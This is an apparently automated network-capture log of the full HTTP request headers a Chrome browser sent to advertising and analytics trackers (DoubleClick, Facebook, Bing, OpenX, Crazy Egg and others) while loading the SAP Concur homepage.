Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=88&external_user_id=Zv5YvgAAAEmPUQN- HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CMID=Zv5Yx9HM6CkAADy2AD.0EAAA; CMPS=489; CMPRO=489
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/709441075?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.8636527407794696 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/1037794718?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.19141949046631468 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/709398600?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.4177247097938397&is_vtc=1&cid=CAQSKQDpaXnfObsu88szb_ToTbqrrUEBAFoCIDv6lKd7IG6hnqRQCHnoh61_&random=821602355 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537148856&val=Zv5YvgAAAEmPUQN- HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://concur.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/938446152?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.991085238520482&is_vtc=1&cid=CAQSKQDpaXnfOCUPsU-zs5M8dfs_IWxWXwZycaaKSKyPOsjp-GIaVkdGh2gA&random=3975066931 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fsetuid%3Fentity%3D158%26code%3DZv5YvgAAAEmPUQN- HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://concur.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=_XwZiqA-XhRdbSA6zSAaAlj0YbUpgAUaZzfIkH4x2gSOOS3qhDotucI9VQDdLQxM7W1OI157w6FeAsiN60oYE5AsTuyxrxZ6mFZA-YCTNrs.; receive-cookie-deprecation=1; uuid2=7044996041827226272
Source: global traffic	HTTP traffic detected: GET /uwt.js HTTP/1.1Host: static.ads-twitter.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /signals/config/908266409244597?v=2.9.170&r=stable&domain=www.concur.com&hme=d82868061a8c707cd31395a3055e7449daa03bd520872727258c39e6af34523e&ex_m=70%2C120%2C106%2C110%2C61%2C4%2C99%2C69%2C16%2C96%2C88%2C51%2C54%2C171%2C174%2C186%2C182%2C183%2C185%2C29%2C100%2C53%2C77%2C184%2C166%2C169%2C179%2C180%2C187%2C130%2C41%2C34%2C142%2C15%2C50%2C193%2C192%2C132%2C18%2C40%2C1%2C43%2C65%2C66%2C67%2C71%2C92%2C17%2C14%2C95%2C91%2C90%2C107%2C52%2C109%2C39%2C108%2C30%2C93%2C26%2C167%2C170%2C139%2C28%2C11%2C12%2C13%2C6%2C7%2C25%2C22%2C23%2C57%2C62%2C64%2C75%2C101%2C27%2C76%2C9%2C8%2C80%2C48%2C21%2C103%2C102%2C104%2C97%2C10%2C20%2C3%2C38%2C74%2C19%2C85%2C56%2C83%2C33%2C73%2C0%2C94%2C32%2C82%2C87%2C47%2C46%2C86%2C37%2C5%2C89%2C81%2C44%2C35%2C84%2C2%2C36%2C63%2C42%2C105%2C45%2C79%2C68%2C111%2C60%2C59%2C31%2C98%2C58%2C55%2C49%2C78%2C72%2C24%2C112 HTTP/1.1Host: connect.facebook.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/tiqapp/utag.v.js?a=concur/concur/202409261709&cb=1727944902648 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bat.js HTTP/1.1Host: bat.bing.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MUID=375E6F2E0D8F6B9C2CEB7C8E098F6DFE
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/709441075?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.8636527407794696&is_vtc=1&cid=CAQSKQDpaXnfrFhP8-vNAPgpMRGv-LHiYlc4tMc2DoYhYWBFdBitFoHuvj3z&random=1926801147 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/998825301?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.589641747490889 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/1012864666?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.5402900193043743 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?cc=1&id=537148856&val=Zv5YvgAAAEmPUQN- HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://concur.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=ccc35ff5-538e-41e3-ba7f-066df7323337\|1727944907
Source: global traffic	HTTP traffic detected: GET /healthcheck HTTP/1.1Host: assets-tracking.crazyegg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.concur.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /healthcheck HTTP/1.1Host: pagestates-tracking.crazyegg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.concur.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /clock?t=1&tk=72a03a20e8fe0c755228a321ef5dd933&u=576939&s=239594&p=%2F&v=7951811ba5d69361f31f19de66e99a1edbb8b01a&f=concur.com&ul=https%3A%2F%2Fwww.concur.com%2F HTTP/1.1Host: tracking.crazyegg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.concur.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/1037794718?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.19141949046631468&is_vtc=1&cid=CAQSKQDpaXnfxEjsVoEyZ8m3XOeCQKVL6P41I6vqtagpVCHzVQHzGamkLyxd&random=833662701 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/709398600?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.4177247097938397&is_vtc=1&cid=CAQSKQDpaXnfObsu88szb_ToTbqrrUEBAFoCIDv6lKd7IG6hnqRQCHnoh61_&random=821602355 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=Zv5YvgAAAEmPUQN- HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://concur.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/938446152?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.991085238520482&is_vtc=1&cid=CAQSKQDpaXnfOCUPsU-zs5M8dfs_IWxWXwZycaaKSKyPOsjp-GIaVkdGh2gA&random=3975066931 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?cc=1&id=537148856&val=Zv5YvgAAAEmPUQN- HTTP/1.1Host: us-u.openx.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=ccc35ff5-538e-41e3-ba7f-066df7323337\|1727944907
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fsetuid%3Fentity%3D158%26code%3DZv5YvgAAAEmPUQN- HTTP/1.1Host: ib.adnxs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid2=7044996041827226272; anj=dTM7k!M4.FErk#WF']wIg2C%us^h.H!]tbPl1MwL(!R7qUY#R@Fp4E]YWJX#HIvr1X@ByyRFfs^<QG=%9sk?bIRwi:w9Ld1Iu?Q#FiqPY/y@Yw#ttmN*z82q
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/709441075?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.8636527407794696&is_vtc=1&cid=CAQSKQDpaXnfrFhP8-vNAPgpMRGv-LHiYlc4tMc2DoYhYWBFdBitFoHuvj3z&random=1926801147 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/1012864666?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.5402900193043743&is_vtc=1&cid=CAQSKQDpaXnfYppl-1uEpb0jqmocN2-I3gdtauKkvvy5Zm7KxFLjymi7OJiN&random=784130755 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/998825301?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.589641747490889&is_vtc=1&cid=CAQSKQDpaXnfsYm7YDaipI0SHUrdsIoPhzfqyfcPHNoLyRp7pVRIzaOE2PI9&random=2965414864 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/711052864?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.45890097778503525 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/709440772?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.2528743443960655 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /healthcheck HTTP/1.1Host: assets-tracking.crazyegg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/1044530512/?random=1727944905048&cv=11&fst=1727944905048&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
